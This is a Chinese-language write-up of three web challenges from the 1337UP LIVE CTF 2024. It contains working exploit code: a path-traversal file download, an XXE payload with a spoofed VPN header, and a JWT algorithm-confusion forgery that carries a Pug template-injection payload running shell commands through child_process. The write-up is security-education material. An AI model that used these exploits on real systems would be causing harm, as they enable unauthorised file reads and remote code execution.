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1337UP LIVE CTF 2024 Writeup

null likes · null views · 2024-11-16

Web

Pizza Paradise

在robots.txt中找到登录页面/secret_172346606e1d24062e891d537e917a90.html，在JS中找到用户名和密码的哈希值；队友找到一个查弱口令的网站https://crackstation.net，查到密码是intel420，登录。

登录后是下载图片的页面，有路径遍历漏洞。flag在页面的PHP源码中。

Python

import requests

# login with agent_1337, intel420

path = "/assets/images/../../topsecret_a9aedc6c39f654e55275ad8e65e316b3.php"
url = f"https://pizzaparadise.ctf.intigriti.io/topsecret_a9aedc6c39f654e55275ad8e65e316b3.php?download={path}"
resp = requests.get(url)
print(resp.text)

# $flag = 'INTIGRITI{70p_53cr37_m15510n_c0mpl373}';

BioCrop

给了源码，需要绕过对IP的检测（服务端用了自定义的HTTP头），然后是XXE（XML外部实体注入）。

Python

import requests

url = "https://biocorp.ctf.intigriti.io/panel.php"
xml = """
<!DOCTYPE root [
<!ENTITY fileContents SYSTEM "file:///../flag.txt">
]>
<root>
<temperature>&fileContents;</temperature>
<pressure>77</pressure>
<control_rods>77</control_rods>
</root>
"""
resp = requests.post(url, headers={"X-BIOCORP-VPN": "80.187.61.102", "Content-Type": "application/xml"}, data=xml)
print(resp.text)

# Temperature: INTIGRITI{c4r3ful_w17h_7h053_c0n7r0l5_0r_7h3r3_w1ll_b3_4_m3l7d0wn} °C

Cat Club

JWT算法混淆+Pug模板引擎的SSTI。

注册登录后/cats页面会显示用户的用户名，审计后发现存在SSTI：

JavaScript

if (typeof req.user != "undefined") {
    template = template.replace(/guest/g, req.user);
}

但是常规手段注册不允许出现非数字和字母的字符，考虑直接构造用户名为payload的JWTtoken。

/jwks.json接口泄露了publicKey，并且服务端检验JWT的函数是：

JavaScript

function signJWT(payload) {
    return new Promise((resolve, reject) => {
        jwt.encode(privateKey, payload, "RS256", (err, token) => {
            if (err) {
                return reject(new Error("Error encoding token"));
            }
            resolve(token);
        });
    });
}

function verifyJWT(token) {
    return new Promise((resolve, reject) => {
        if (!token || typeof token !== "string" || token.split(".").length !== 3) {
            return reject(new Error("Invalid token format"));
        }

        jwt.decode(publicKey, token, (err, payload, header) => {
            if (err) {
                return reject(new Error("Invalid or expired token"));
            }

            if (header.alg.toLowerCase() === "none") {
                return reject(new Error("Algorithm 'none' is not allowed"));
            }

            resolve(payload);
        });
    });
}

RSA的私钥无法拿到，但上述校验存在算法混淆漏洞，可以自己用publicKey和HS256算法做一个签名，此时服务端校验的逻辑仍然是使用publicKey验证，而算法已经被指定为HS256，于是可以通过。生成token的代码是：

JavaScript

const fs = require("fs");
const jwt = require("json-web-token");
const jwkToPem = require("jwk-to-pem");

// const publicKey = fs.readFileSync("public_key.pem", "utf8");

const publicKey = jwkToPem({
    "kty": "RSA",
    "n": "w4oPEx-448XQWH_OtSWN8L0NUDU-rv1jMiL0s4clcuyVYvgpSV7FsvAG65EnEhXaYpYeMf1GMmUxBcyQOpathL1zf3_Jk5IsbhEmuUZ28Ccd8l2gOcURVFA3j4qMt34OlPqzf9nXBvljntTuZcQzYcGEtM7Sd9sSmg8uVx8f1WOmUFCaqtC26HdjBMnNfhnLKY9iPxFPGcE8qa8SsrnRfT5HJjSRu_JmGlYCrFSof5p_E0WPyCUbAV5rfgTm2CewF7vIP1neI5jwlcm22X2t8opUrLbrJYoWFeYZOY_Wr9vZb23xmmgo98OAc5icsvzqYODQLCxw4h9IxGEmMZ-Hdw",
    "e": "AQAB",
    "alg": "RS256",
    "use": "sig"
});

function signJWT(payload) {
    return new Promise((resolve, reject) => {
        jwt.encode(publicKey, payload, "HS256", (err, token) => {
            if (err) {
                return reject(new Error("Error encoding token"));
            }
            resolve(token);
        });
    });
}

signJWT({
    // username: "#{global.process.mainModule.constructor._load('child_process').execSync('ls /').toString()}"
    username: "#{global.process.mainModule.constructor._load('child_process').execSync('cat /flag_Gx4wVbEc1fxN9ztM.txt').toString()}"
}).then(token => {
    console.log(token);
    fs.writeFileSync("token.txt", token);
});

攻击：

Python

import requests

url = f"https://catclub-2.ctf.intigriti.io/cats"

with open("catclub_exp/token.txt") as f:
    token = f.read().strip()
resp = requests.get(url, cookies={"token": token})

# print(resp.text)
print(resp.text.split('alt="Club Logo"></nav></header><div class="content"><h1>')[1])

# Welcome to the Cat Gallery, INTIGRITI{h3y_y0u_c4n7_ch41n_7h053_vuln5_l1k3_7h47}!</h1> ...

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